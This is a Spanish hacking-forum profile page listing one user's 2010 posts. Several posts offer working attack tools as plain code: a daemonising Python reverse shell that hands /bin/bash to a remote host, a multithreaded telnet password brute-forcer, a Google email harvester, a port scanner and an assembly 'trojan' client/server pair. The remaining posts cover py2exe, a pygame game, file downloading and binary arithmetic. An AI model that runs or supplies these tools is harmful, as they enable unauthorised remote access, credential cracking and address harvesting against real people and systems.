Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ProcessKill

#61
Python / [Python] Advance Reverse Shell By Xianur0
Febrero 24, 2010, 04:07:57 PM
Este Reverse Shell en python, trabaja como daemon en memoria, es decir, individualmente se carga en la memoria y se ejecuta en segundo plano :)..

Código: python
#!/usr/bin/env python -u

# By Xianur0
# [email protected]

import sys, socket, os

if len(sys.argv) != 3:
print "[x] Uso: %s [host] [port]" % (sys.argv[0])
else:
host = str(sys.argv[1])
port = int(sys.argv[2])
handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror)
pid = os.fork()
if pid > 0:
print 'Fork No Valido!'
handler.connect((host, port))
print "\n[x] Advance Reverse Shell By Xianur0.... OK\n"
os.dup2(handler.fileno(), sys.stdin.fileno())
os.dup2(handler.fileno(), sys.stdout.fileno())
handler.sendall(('\n<-------------------------Advance Reverse Shell By Xianur0-------------------->\n'))
while handler.recv:
handler.sendall(('\n\nXianur0:~ '))
os.system('/bin/bash')
except:
print "[!] Error conectando"
#62
Python / Crackear Telnet
Febrero 24, 2010, 04:06:28 PM
Este script crackea telnet por diccionario

Código: python
#!usr/bin/python
#Telnet Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, telnetlib
from copy import copy

if len(sys.argv) !=4:
print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"
sys.exit(1)

try:
  users = open(sys.argv[2], "r").readlines()
except(IOError):
  print "Error: Check your userlist path\n"
  sys.exit(1)
 
try:
  words = open(sys.argv[3], "r").readlines()
except(IOError):
  print "Error: Check your wordlist path\n"
  sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com TelnetBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words,  1)
words.remove(value[0])

else:
print "\nReloading Wordlist - Changing User\n"
reloader()
value = random.sample(words,  1)
users.remove(users[0])

lock.release()
if len(users) ==1:
return value[0][:-1], users[0]
else:
return value[0][:-1], users[0][:-1]

class Worker(threading.Thread):

def run(self):
value, user = getword()
try:
print "-"*12
print "User:",user,"Password:",value
tn = telnetlib.Telnet(sys.argv[1])
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(value + "\n")
tn.write("ls\n")
tn.write("exit\n")
print tn.read_all()
print "\t\nLogin successful:",value, user
tn.close()
work.join()
sys.exit(2)
except:
pass

for i in range(len(words)*len(users)):
work = Worker()
work.start()
time.sleep(1)











#63
Python / Google-mail
Febrero 24, 2010, 04:06:03 PM
Este script busca en google mails

Código: python
#!/usr/bin/python
#I needed goog-mail.py to just print out users for piping.
#d3hydr8[at]gmail[dot]com

import sys
import re
import string
import httplib
import urllib2
import re
def StripTags(text):
    finished = 0
    while not finished:
        finished = 1
        start = text.find("<")
        if start >= 0:
            stop = text[start:].find(">")
            if stop >= 0:
                text = text[:start] + text[start+stop+1:]
                finished = 0
    return text
if len(sys.argv) != 2:
        print "\nExtracts emails from google results.\n"
        print "\nUsage : ./goog-mail.py <domain-name>\n"
        sys.exit(1)

domain_name=sys.argv[1]
d={}
page_counter = 0
try:
    while page_counter < 50 :
        results = 'http://groups.google.com/groups?q='+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
        request = urllib2.Request(results)
        request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
        opener = urllib2.build_opener()                           
        text = opener.open(request).read()
        emails = (re.findall('([\w\.\-]+@'+domain_name+')',StripTags(text)))
        for email in emails:
            d[email]=1
            uniq_emails=d.keys()
        page_counter +=10
except IOError:
    print "Can't connect to Google Groups!"+""
   
page_counter_web=0
try:

    while page_counter_web < 50 :
        results_web = 'http://www.google.com/search?q=%40'+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N'
        request_web = urllib2.Request(results_web)
        request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
        opener_web = urllib2.build_opener()                           
        text = opener_web.open(request_web).read()
        emails_web = (re.findall('([\w\.\-]+@'+domain_name+')',StripTags(text)))
        for email_web in emails_web:
            d[email_web]=1
            uniq_emails_web=d.keys()
        page_counter_web +=10
       
except IOError:
    print "Can't connect to Google Web!"+""
for uniq_emails_web in d.keys():
    user = uniq_emails_web.rsplit('@',1)[0]
    print user
#64
Python / [Tuto]Compilar *.py a *.exe (By: Ghost)
Febrero 24, 2010, 04:05:36 PM
tutorial compilar *.py a *.exe
(Tutorial by Ghost)


Bueno en este peque?o tutorial les voy a explicar como compilar un archivo *.py de python a *.exe, primero que nada veremos la pagina oficial del programa You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login , luego lo descargamos d la siguiente direcci?n:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Empezemos con el procedimiento:


Paso 1

Primero que nada instalamos el py2exe en la maquina en el directorio donde quedo instalado el python; Una vez ya creado nuestro archivo que queremos compilar, creamos otro archivo *.py que contenga estas lineas :

Código: python
from distutils.core import setup

import py2exe

setup(console=["nombre_de_archivo.py"])


Donde dice nombre_de_archivo lo cambiamos por el nombre del archivo a pasar a *.exe.

Paso 2

Ahora guardamos los dos archivo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y nombre_de_archivo.py, en el directorio de instalaci?n de python que va a deender de la version...  entonces nos dirigimos a la consola de comandos Inicio > ejecutar > CMD

y nos dirigimos al directorio de instalaci?n de Python c:\python25> ( usando el comando cd.. para subir de carpeta y cd python25 para entrar o acceder a la carpeta, comandos basicos batch)

Una vez dentro del directorio en el cmd tecleamos la siguiente linea de comandos

Código: text
c:\python25> setup.py py2exe


Lo que hara ser? ejecutar nuestro archivo You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y arrancar el py2exe para compilar

Despues al compilar nos aparecer? algo como esto:

Código: text
running py2exe
*** searching for required modules ***
*** parsing results ***
creating python loader for extension 'zlib'
creating python loader for extension 'unicodedata'
creating python loader for extension 'bz2'
*** finding dlls needed ***
*** create binaries ***
*** byte compile python files ***
byte-compiling C:Tutorialbuildbdist.win32winexetempbz2.py to bz2.pyc
byte-compiling C:Tutorialbuildbdist.win32winexetempunicodedata.py to unicodedata.pyc
byte-compiling C:Tutorialbuildbdist.win32winexetempzlib.py to zlib.pyc
skipping byte-compilation of c:Python24libStringIO.py to StringIO.pyc

[skipping many lines for brevity]

skipping byte-compilation of c:Python24libwarnings.py to warnings.pyc
*** copy extensions ***
*** copy dlls ***
copying c:Python24libsite-packagespy2exerun.exe -> C:Tutorialdisthello.exe

*** binary dependencies ***
Your executable(s) also depend on these dlls which are not included,
you may or may not need to distribute them.

Make sure you have the license if you distribute any of them, and
make sure you don't distribute files belonging to the operating system.

   ADVAPI32.dll - C:WINDOWSsystem32ADVAPI32.dll
   USER32.dll - C:WINDOWSsystem32USER32.dll
   SHELL32.dll - C:WINDOWSsystem32SHELL32.dll
   KERNEL32.dll - C:WINDOWSsystem32KERNEL32.dll


por ultimo el programa creara una carpeta en C:\python25\dist\ que es dodne se ha guardado nuestro *.exe compilado con todas librerias necesarias para ejecutarlo, ( queda bastante pesado o.o)
#65
Pues ese es el nuevo juego que he hecho :
Se trata de que Paris Hilton no consiga el dinero, lo vas manejando con el raton, he aquí el code :
Código: python

import pygame,random
from pygame.locals import *
pygame.init()
pygame.font.init()
fuente = pygame.font.SysFont("Courier New",15,True,True)
class jugador(pygame.sprite.Sprite):
    def __init__(self):
        pygame.sprite.Sprite.__init__(self)
        self.ficha = pygame.image.load('imagen.jpg')
        self.rect = self.ficha.get_rect()
        self.rect.x,self.rect.y =pygame.mouse.get_pos()
    def update(self):
        global screen
        self.rect.x,self.rect.y =pygame.mouse.get_pos()
        screen.blit(self.ficha,(self.rect.x,self.rect.y))
class contrincante(pygame.sprite.Sprite):
    def __init__(self):
        pygame.sprite.Sprite.__init__(self)
        self.ficha = pygame.image.load("parishilton.jpg")
        self.rect = self.ficha.get_rect()
        self.rect.x,self.rect.y = random.randint(0,500),random.randint(0,326)
    def update(self):
        global gamer
        global screen
        if self.rect.x >gamer.rect.x : self.rect.x-=1
        if self.rect.x < gamer.rect.x : self.rect.x+=1
        if self.rect.y > gamer.rect.y : self.rect.y-=1
        if self.rect.y < gamer.rect.y : self.rect.y+=1
        screen.blit(self.ficha,(self.rect.x,self.rect.y))
screen = pygame.display.set_mode((500,326))
fondo = pygame.image.load("mansion.jpg")
pygame.display.set_caption("Llevate el dinero de la Hilton")
running = 1
gamer = jugador()
grupodehiltons = pygame.sprite.Group()
listahiltons = []
for i in range(3):
    listahiltons.append(contrincante())
for contrincantne in listahiltons:
    grupodehiltons.add(contrincantne)
pygame.mouse.set_visible(False)
reloj = pygame.time.Clock()
milisegundos = 0
while running:
    milisegundos += reloj.tick()
    for event in pygame.event.get():
        if event.type == QUIT:
            exit()
    if len(pygame.sprite.spritecollide(gamer,grupodehiltons,False))>0:
        perdiste = 1
        letras = fuente.render("Has durado "+str(milisegundos)+" milisegundos",True,(255,0,0))
        screen.blit(letras,(150,180))
        milisegundos=0
        pygame.display.flip()
        while perdiste :
            for evento in pygame.event.get():
                if evento.type == pygame.QUIT:
                    exit()
                if evento.type == pygame.MOUSEBUTTONDOWN:
                    perdiste = 0
    screen.blit(fondo,(0,0))
    gamer.update()
    grupodehiltons.update()
    pygame.display.flip()
    pygame.time.wait(5)
   



bytes ;)
#66
Python / [Python] Descargar Archivos - by NiKo
Febrero 24, 2010, 04:04:47 PM
Bueno esto es simplemente un mini-tutorial acerca de las distintas alternativas que tenemos en python
para descargar archivos.
Python es un lenguaje que facilita todo gracias a los diversos modulos que vienen ya preinstalados con el interprete
los cuales simplifican mucho las tareas que serian muy dificiles o aburridas para hacer, con respecto al tratamiento
web el interprete python viene con modulos como urllib, urllib2, httplib, cookielib, etc. que ahorran el trabajo de
hacer las cosas directamente con sockets.

Para descargar un archivo hay varias opciones:
         * Trabajar directamente con sockets.
         * Utilizar los modulos que se especializan en interaccion web (urllib, urllib2).
         * Usar modulos y paquetes externos a los estandar, ejemplo: PyCurl.
         
         
1.- Descargar usando el modulo urllib:
   Para descargar un archivo usando este modulo, hay que hacer uso de la funcion en el llamada "urlretrieve".
   Esta funcion toma tres parametros: El primero es la url del archivo. El segundo parametro es el nombre del archivo
   con el que se va a guardar. Y el tercer parametro sirve para especificar si se quiere mostrar el progreso de
   la descarga, a lo cual si se quiere mostrar se pasa el parametro que debe ser una funcion que debe contener tres
   parametros numericos, esta funcion luego sera llamada y nos sirve a nosotros para especificar el progreso de la descarga
   por ejemplo.
   Bueno echa ya la explicacion de como funcion urlretrieve les dejo un code para que se aclare un poco mas la cosa:
   ---------------------------------------------------------------------------------------------------------------------------
   
Código: python

#! /usr/bin/env python

import urllib, sys #Importamos urllib para utilizar urlretrieve, y sys para printear con 'sys.stdout.write'

def funcionprogreso(bloque, tamano_bloque, tamano_total): #Definimos la funcion de progreso con tres parametros que tomaran los valores que les pase la funcion urlretrieve
cant_descargada = bloque * tamano_bloque #Cantidad descargada = Bloque descargado 1 * cantidad de bytes que tiene cada bloque
sys.stdout.write('\rCantidad descargada: %s bytes / %s bytes totales' % (cant_descargada, tamano_total)) #Imprimimos el progreso de la descarga

archivo = urllib.urlretrieve("http://forum.get-r00t.com/Themes/tux_Red_Planet/images/tuxspace.png", "tux.png", reporthook=funcionprogreso) # Descargamos el archivo pasandole
#los tres parametros (Url_del_archivo, nombre_de_archivo_en_disco, informacion_progreso)
#Nota si no quieres mostrar ningun progreso durante la descarga solo pon asigna reporthook como None.

   -------------------------------------------------------------------------------------------------------------------------------
   
   
   
2.- Descargar usando el modulo urllib2:
   En el modulo urlib2 no contamos con la funcion retrieve pero eso no significa que no podamos descargar un archivo....
   Este metodo es el que yo uso simplemente por costumbre xD...
   Bueno los pasos para descargar son muy sencillos, cargamos urllib2 (obvio no? xD) abrimos la url con la funcion urlopen() leemos el contenido
   del archivo remoto y lo vamos copiando a un archivo.
   El tema del progreso de la descarga es bastante sencillo yo conozco solo dos opciones para lo fundametal y mas importante para el progreso de la
   descarga que es el tamaño del archivo para sacar el tamaño yo conozco solo dos formas:
   La primera y que mas me gusta seria obtener informacion del archivo que habrimos con urlopen (que no son mas que cabeceras http) mediante el metodo info(), luego de todas
   las cabeceras que retorna esa funcion sacar la unica que nos importa que seria en este caso: Content-Length.
   La otra forma es utilizando el metodo __len__() que mide la longitud de un objeto... vale la pena aclarar que todos los objetos en python cuentan con este y otros metodos mas
   predefinidos.
   Y aca lo mas importante y lo que va a terminar de aclarar todo.. el code de ejemplo:
   ----------------------------------------------------------------------------------------------------------------------------------------------------------------
   
Código: python

#! /usr/bin/env python

import urllib2, sys #Importamos urllib2 y sys

archivo = urllib2.urlopen("http://forum.get-r00t.com/Themes/tux_Red_Planet/images/tuxspace.png") #Abrimos el archivo que vamos a descargar
informacion_tamano = archivo.info() #Obtenemos un par de headers que nos dan informacion acerca del archivo
tamano_archivo = informacion_tamano.getheaders("Content-Length")[0] #Obtenemos el tamano del archivo a traves del header Content-Length
tamano_archivo = int(tamano_archivo) / 1024 #Pasamos el tamano a kilobytes
byte = 1
arch = open('tuxspace.png', 'wb') #Abrimos el archivo para escribirlo
while (byte != tamano_archivo): #Mientras el numero byte leido sea distinto al ultimo byte del archivo
arch.write(archivo.read(byte)) #Escribir byte
byte += 1 #Agregar uno al contador para que no escriba siempre el mismo byte xD
sys.stdout.write('\r[*]Descargados:  %8s Kbs de %s Kbs' % (byte, tamano_archivo)) #Mostrar la informacion de la descarga
arch.close() # Cerrar el archivo

   ----------------------------------------------------------------------------------------------------------------------------------------------------------------

Bueno era eso nada mas, aunque es re basico y lo explique a las apuradas, ojala a alguien le sirva xD
Saludos !!
#67
Python / Port Scanner!
Febrero 24, 2010, 04:04:38 PM
Código: python
#!/usr/bin/env python
"""Port Scanner - by NiKo"""

import sys, socket, string
global ip, pi, pf

port = 0

def uso():
    print "\n\n|***************************************************|\n"
    print "|*******************|PortScanner|*******************|\n"
    print "|***************************************************|\n"
    print "Modo de uso: PortScannet.py <ip> <pini> <pfinal>\n"
    print "Ejemplo: %s localhost 1 80\n" % sys.argv[0]
    sys.exit(1)

def conect2port(ip, pi, pf, host):
    closedport = 0
    print "Objetivo: " + str(host) + " | Ip: " + str(ip)
    for port in range(pi, pf):
        try:
            sc = socket.socsket(socket.AF_INET,socket.SOCK_STREAM)
            if not sc.connect_ex((ip, port)):
                print "Puerto: ", port,"abierto."
                sc.close()
        except:
            closedport = closedport + 1
            print "Cantidad de puertos cerrados del ",pi," al ",pf,": ",closedport,"."
            print "[+] Escaneo finalizado."

def main()
    if len(sys.argv) != 4:
        uso()
    else:
        host = sys.argv[1]
        pi = int(sys.argv[2])
        pf = int(sys.argv[3])
        ip = socket.gethostbyname(host)
        conect2port(ip, pi, pf, host)

if __name__ == "__main__":
    main()
#68
ASM / [Source] Troyano 32 Bits [ASM]
Febrero 24, 2010, 04:02:37 PM
Código: asm
:::=== CLIENT.ASM ===:::
Template using RES file
include 'win32ax.inc'
     IDD_MAINDLG    =    101                             All our resource identifiers
    IDC_IP        =    1015
    IDC_CONNECT    =    1016
    IDC_MSG     =    1017
    IDC_SEND    =    1018
    IDC_VERSION    =    1019
.data
    hInstance    dd    ?                             Our instance handle
    iPort        equ    7272d                             Our port.. remember to change this in the server
    iIP        rb    17                             Buffer for getting IP
     wsaData     WSADATA                              To store Winsock data
    hSocket     dd    0                             Socket handle variable
     sockAddr    dw    AF_INET                          sockAddr
    sockAddrp    dw    ?
    sockAddrip    dd    0
    sockAddrZ    rb    8
    sockAddrSize    =    $-sockAddr
    randomBuf    rb    1024                             Random buffer for shit
    sendBuf     rb    1024                             Send buffer
    recvBuf     rb    1024                             Recieve buffer
.code
    start:
        invoke    GetModuleHandle, 0                         Should know all this shit..
        mov    [hInstance], eax
        invoke    DialogBoxParam, [hInstance], IDD_MAINDLG, 0, dlgProc, 0
        invoke    ExitProcess, 0
    .end start
proc    dlgProc, hDlg, uMsg, wParam, lParam
    push    ebx esi edi
    cmp    [uMsg], WM_COMMAND
    je    .wmcommand
    cmp    [uMsg], WM_CLOSE
    je    .wmclose
    cmp    [uMsg], WM_INITDIALOG
    je    .wminitdlg
    cmp    [uMsg], WM_DESTROY
    je    .wmclose
    xor    eax, eax
    jmp    .finish
     .wminitdlg:
        mov    eax, 1
        jmp    .finish
     .wmclose:
        invoke    EndDialog, [hDlg], 0
        mov    eax, 1
        jmp    .finish
     .wmcommand:
        mov    eax, [wParam]
        and    eax, 0x0FFFF                             To get the LOWORD of wParam
         cmp    eax, IDC_CONNECT
        je    .connect
        cmp    eax, IDC_SEND
        je    .sendmessage
        cmp    eax, IDC_VERSION
        je    .version
         mov    eax, 0
        jmp    .finish
     .connect:
        invoke    WSAStartup, 0002h, wsaData                     Same as in the server
        test    eax, eax
        jnz    .error
        invoke    socket, AF_INET, SOCK_STREAM, 0
        cmp    eax, -1
        je    .error
        mov    [hSocket], eax
        invoke    htons, iPort
        mov    [sockAddrp], ax
        invoke    GetDlgItemText, [hDlg], IDC_IP, iIP, 16              Get our IP from the text box
        invoke    inet_addr, iIP                             Convert it so our PCs can use it
        mov    [sockAddrip], eax                         Store it
        invoke    connect, [hSocket], sockAddr, 16                 Connect to that IP
        test    eax, eax                             Did it work?
        jnz    .error                                 No, display that we can't connect
        invoke    MessageBox, [hDlg], "Connection Successful..", "Message :", 0     Yup, show a success message
        jmp    .finish                              Connection finished
    .error:
        invoke    MessageBox, [hDlg], "A connection could not be established", "Error :", 0 Error message
        jmp    .finish
     .sendmessage:
        cmp    dword [hSocket], 0                         Have we got a socket handle?
        je    .error                                 No, show that we aren't connected
        invoke    GetDlgItemText, [hDlg], IDC_MSG, randomBuf, 1024         Yes, so get our message to be sent
        invoke    lstrcpy, sendBuf, "msgb"                     Put the msgb identifier at the beginning of it
        invoke    lstrcat, sendBuf, randomBuf                     And then put the message on
        invoke    send, [hSocket], sendBuf, 1024, 0                 Send the identifier + message
        jmp    .finish                              Carry on...
     .version:
        cmp    dword [hSocket], 0
        je    .error
        invoke    lstrcpy, sendBuf, "vers"                     Send a version identifier
        invoke    send, [hSocket], sendBuf, 1024, 0                 Sent it
        invoke    recv, [hSocket], recvBuf, 1024, 0                 Recieve the version string
        invoke    MessageBox, [hDlg], recvBuf, "Version Checker", 0         Then display it
        jmp    .finish                              Carry On
     .finish:
        pop    edi esi ebx
        ret
endp
  section '.rsrc' data readable resource from 'resource.res' Import external .res file (created by a different program, such as VC++)
  :::=== SERVER.ASM ===:::
include 'win32ax.inc'
.data
    iPort        equ    7272d                         Port to connect on, remember to change this in client too
     wsaData     WSADATA                          For holding our Winsock information
    hSocket     dd        ?                     Variable to hold our listening socket handle
    hRemoteSocket    dd        ?                     Variable to hold our connected socket handle
     sockAddr    dw    AF_INET                      sockAddr Structure .. check API reference..
    sockAddrp    dw    ?
    sockAddrip    dd    0
    sockAddrZ    rb    8
    sockAddrSize    =    $-sockAddr                     Size of struct (16 bytes)
     remoAddr    dw    ?                         Another sockAddr Structure
    remoAddrp    dw    ?
    remoAddrip    dd    ?
    remoAddrZ    rb    8
    remoAddrSize    dd    ?
     recvBuf     rb    1024                         Buffer to store recieved information
    sendBuf     rb    1024                         Buffer to store information before it's sent
.code
start:
    .bind_listen:
        invoke    WSAStartup, 0002h, wsaData                 Initiate Winsock to check version
        test    eax, eax                         Have we got the right version installed?
        jnz    .exit                             Nope, leave :/
        invoke    socket, AF_INET, SOCK_STREAM, 0              Create a socket for us
        cmp    eax, -1                          Was it successfully created?
        je    .exit                             Nope, leave :/
        mov    [hSocket], eax                         Store the socket's handle
        invoke    htons, iPort                         Convert our Port to a value that our computer understands :P
        mov    [sockAddrp], ax                      And then store it..
        invoke    bind, [hSocket], sockAddr, sockAddrSize          Bind our socket to this port
        test    eax, eax                         Did we bind it successfully?
        jnz    .exit                             Nope, leave :/
        invoke    listen, [hSocket], 5                     Listen on this socket for incoming connections
        test    eax, eax                         Are we listening?
        jnz    .exit                             Nope, leave :/
     .accept_loop:
        mov    [remoAddrSize], sockAddrSize                 Store our sockAddr structures size
        invoke    accept, [hSocket], remoAddr, remoAddrSize         Accept any incoming connections
        cmp    eax, -1                          Did we get one?
        je    .accept_loop                         Nah, keep trying
        mov    [hRemoteSocket], eax                     Yes we did, so store the new sockets handle
    .recv_loop:
        xor    eax, eax                         Clear eax (mov eax, 0)
        mov    dword [recvBuf], eax                     Zero recvBuf (otherwise it keeps thinking we have data)
        invoke    recv, [hRemoteSocket], recvBuf, 1024, 0          Try and recieve any data being sent
        cmp    eax, 0                             Did we get any?
        je    .end_recv_loop                         Nope, keep trying
        cmp    eax, -1                          Is the connection lost?
        je    .conn_lost                         Yes, so reset everything
        jmp    .commands                         Check for commands
    .end_recv_loop:
        invoke    closesocket, [hRemoteSocket]                 Close the remote socket
        jmp    .accept_loop                         Wait for connections again
    .conn_lost:
        invoke    closesocket, [hSocket]                     Close our listening socket
        invoke    WSACleanup                         Cleanup our Winsock info up so we can reset everything
        jmp    .bind_listen                         Start all our connection shit again

    .commands:
        cmp    dword [recvBuf], "msgb"                  Did we get a MessageBox command?
        je    .msgb                             We sure did, display it
        cmp    dword [recvBuf], "vers"                  Did we get a version check command?
        je    .vers                             Indeed, tell the client our version
        jmp    .recv_loop                         None of the above commands, so wait for the next one
     .msgb:                                     MESSAGEBOX COMMAND
        mov    eax, recvBuf+4                         Skip past the "msgb" identifier
        invoke    MessageBox, 0, eax, "Message :", 0             Display the messagebox
        jmp    .recv_loop                         Wait for next command
     .vers:                                     VERSION CHECK COMMAND
        invoke    lstrcpy, sendBuf, "Version: DST v1.0b"             Copy our version to our send buffer
        invoke    send, [hRemoteSocket], sendBuf, 1024, 0          Send the information to the client who we're connected to
        jmp    .recv_loop                         Wait for next command

    .exit:
        invoke    closesocket, [hSocket]                     Close our listening socket
        invoke    closesocket, [hRemoteSocket]                 Close our connected socket
        invoke    WSACleanup                         Cleanup winsock
        invoke    ExitProcess, 0                         Exit the server
.end start
  :::=== RES_TEMP.ASM ===:::
Template using RES file
include 'win32ax.inc'
     IDD_MAINDLG    =    101             Control IDs
    IDC_EXIT    =    40001             Retrieved from the .h file automatically made from VC++
.data
    hInstance    dd    ?             Our instance handle
.code
    start:
        invoke    GetModuleHandle, 0
        mov    [hInstance], eax
        invoke    DialogBoxParam, [hInstance], IDD_MAINDLG, 0, dlgProc, 0
        invoke    ExitProcess, 0
    .end start
proc    dlgProc, hDlg, uMsg, wParam, lParam
    push    ebx esi edi
    cmp    [uMsg], WM_COMMAND
    je    .wmcommand
    cmp    [uMsg], WM_CLOSE
    je    .wmclose
    cmp    [uMsg], WM_INITDIALOG
    je    .wminitdlg
    cmp    [uMsg], WM_DESTROY
    je    .wmclose
    cmp    [uMsg], WM_COMMAND
    je    .wmcommand
    xor    eax, eax
    jmp    .finish
     .wminitdlg:
        mov    eax, 1
        jmp    .finish
     .wmclose:
        invoke    EndDialog, [hDlg], 0
        mov    eax, 1
        jmp    .finish
     .wmcommand:
        mov    eax, [wParam]
        and    eax, 0x0FFFF             To get the LOWORD of wParam
         cmp    eax, IDC_EXIT
        je    .wmclose
         mov    eax, 0
        jmp    .finish
     .finish:
        pop    edi esi ebx
        ret
endp
section '.rsrc' data readable resource from 'resource.res' Import external .res file (created by a different program, such as VC++)
#69
ASM / Manual Ensamblador (#1) By Viktor SalEm
Febrero 24, 2010, 04:01:27 PM
Bueno, creo que finalmente me decidí a hacer esto, después de pensar, "Cómo comenzar este foro" creo que me he decidido por este señor desconocido y temido. El ensamblador.

Vamos a ver por donde comienzo.... hace no mucho recuerdo que estaba explicando la teoría de los binarios, el por que los sistemas usaban el método binario y no otro sistema más acorde a nosotros como los decimales. Bueno, creo que podría resumir un poco de nuevo esto.

El sistema en el cual trabajan los computadores es el de binarios (0 y 1) por la simple razón de que para un computador es más fácil notar la ausencia o la falta de energía que notar una serie de parámetros... es como decir que en dos personas es más fácil distinguir si una luz está encendida o apagada a distinguir el color real de esa luz.

Ahora, como el binario cuenta solo con dos cifras en lugar de 10 como el sistema decimal, podremos decir que el primer dígito de más a la derecha, valdrá su valor multiplicado por 1, (dos elevado a la cero así como en decimales es 10 elevado a la cero), el siguiente dígito será dos elevado a la uno y asi ir valiendo de manera distinta, 2x2, 2x2x2, 2x2x2x2... etc. Un par de ejemplos.

1011 = 1x8 + 0x4 + 1x2 +1x1 = 8+2+1 = 11 decimal

Un poco más facil para los que no la hayan cogido. Los numeros en paréntesis veanlo como una potencia.

1011 = 1(3) 0(2) 1(1) 1(0)

1x8    el 1 por ser el primer dígito de 1011 y 8 por que son 1(3) = 1 (2x2x2) = 1(8)

0x4    el 0 por ser el segundo digito de 1011 y 4 por que es 0(2) = (2x2) = 0(4)

1x2    el 1 por ser el tercer digito de 1011 y el 2 por que es 1(1) = (2) = 1(2)

1x1    el 1 por ser el cuarto dígito de 1011 y el 1 por que es 1(0) y si nos vamos a las reglas de mate todo numero tiene como cociente 1... bla bla bla, se acuerdan de ese grafico que tenia 1 por todos lados? bueno pues por eso ese elevado a la 0 se vuelve 1.


vale otro ejemplo:

1100 = 1x8 + 1x4 + 0x2 + 0x1 = 8 + 4 = 12


si aplicamos esta regla veremos que si la cifra de la derecha vale 1, al movernos a la izquierda este valor se duplica sobre si mismo, así que por cada cifra que se mueva hacia la derecha sucederá esto:

1 - 2 - 4 - 8 - 16 - 32 - 64 - 128 - 512 - 1024 - 2048 - 4096 - 8192 - 16348 ..... así sucesivamente.


Ahora que vimos un sistema con muchos menos símbolos que lo habitual, veremos otro sistema que tiene más, el hexadecimal tiene 16 símbolos. los números del 0 al 9 y las letras de la A a la F, el sistema para traducir de hexadecimales a decimales es el mismo que lo anterior (Es matemática modular para el que quiera saberlo) solo que en vez de trabajar sobre 2 trabajaremos sobre 16 (la totalidad de los carácteres posibles, es lo mismo que se hace al traducir las direcciones IP que están en base de 256, la base sería 256 y si fueran decimales sería en base de 10) así que el número que esté más a la derecha será multiplicado por 1

Por fin sirve la calculadora de Windows xD!

E07F = 14x4096 + 0x256 + 7x16 + 15x1 = 57344 + 112 + 15 = 57471 en decimales

Una ventaja entre binarios y hexadecimales (y no dudo que por eso es que los dos son usados al programas ensamblador) es que hace fácil la traducción entre ambos, por que cada dos cifras hexadecimales corresponden a un byte (una cadena de 8 bits, u 8 unidades binarias) haciendo un pasaje muy limpio de un lado a otro. Lo demuestro:

0001 = 1
0010 = 2
0011 = 3
0100 = 4
0101 = 5
0110 = 6
0111 = 7
1000 = 8
1001 = 9
1010 = A
1011 = B
1100 = C
1101 = D
1110 = E
1111 = F

De esta forma, tomando el ejemplo anterior, pasado de hexadecimales a binarios E07F = 1110 0000 0111 1111


Es por esto que se usarán estos sistemas, de hecho, el hexadecimal se usará bastante para hacer referencia de memoria o valores, para el ensamblador se usa una h o una b al final para destacar si son hexadecimales o binarios, de esta manera:

E07Fh = 1110000001111111b


Negativos

Con los binarios tenemos un pequeño problema y es que no sabemos representar números negativos, en base de esto se han ideado una serie de posibles soluciones en la cual, la forma más sencilla es usar un símbolo de magnitud.

En este caso, la primera cifra hará que el resto tome valor de positivo o negativo, por eso es que se usa el bit más significativo, es decir, el que se encuentra más hacia la izquierda como simbolo de magnitud. teniendo de esta manera dos formas de representar un número, por ejemplo. (0)00000000 y (1)00000000 lo cual nos dará valores distintos.


10000010b = -2 decimal

00000010b = 2 decimal

10000111b = -7 decimal

00000111b = 7 decimal


El problema es que no se pueden realizar restas con facilidad.



Complementos

Los complementos se ha ideado precisamente para facilitar estas funciones, está el complemento 1 y el complemento 2

En caso del complemento 1, lo que se hace básicamente es invertir los bits que lo forman excepto el primero, que será siendo 1 positivo, 0 negativo.. de esta manera:

11111110 = -1

00000001 = 1 

11111000 = -7

00000111 = 7

como vemos, simplemente se le dieron la vuelta a las ultimas 7 cifras del numero pero conservando el signo de magnitud.

esto lastimosamente trae consigo un problema al hacer operaciones, por que si sumamos +1 y -1 (11111110) y (00000001) el resultado es 11111111b y no 00000000b para ello se considera a todo 11111..... como otra forma de 0, pero tener dos representaciones para el 0 es un problema aritmético.


El complemento 2, es el más aceptado es una mejora al complemento 1, en este caso, se invierten todos los bits que lo forman menos el de la izquierda que marca el signo, y en caso de hacerlo positivo o negativo, sumandole 1 y restandole 1... es un poco más difícil de comprender pero es solo mientras agarramos el tiro:

11111101 = -3 decimal

00000011 = 3 decimal






Representación

En la práctica esto es un poco más complejo, está la representación binaria común, a la que simplemente se le agrega la b al final, la representación hexadecimal común del formato de Intel, la cual inicia con "0" para indicarle al compilador que se trata de un valor numérico y después escribir el hexadecimal con la h al final, de esta forma 0E07Fh. También tenemos la representación hexadecimal alternativa, que es el formato AT&T, en este caso no se escribe una h al final si no que simplemente se coloca un "0x" así el 0E07Fh se escribiría como 0xE07F. Al final estas representaciones dependen totalmente del compilador.


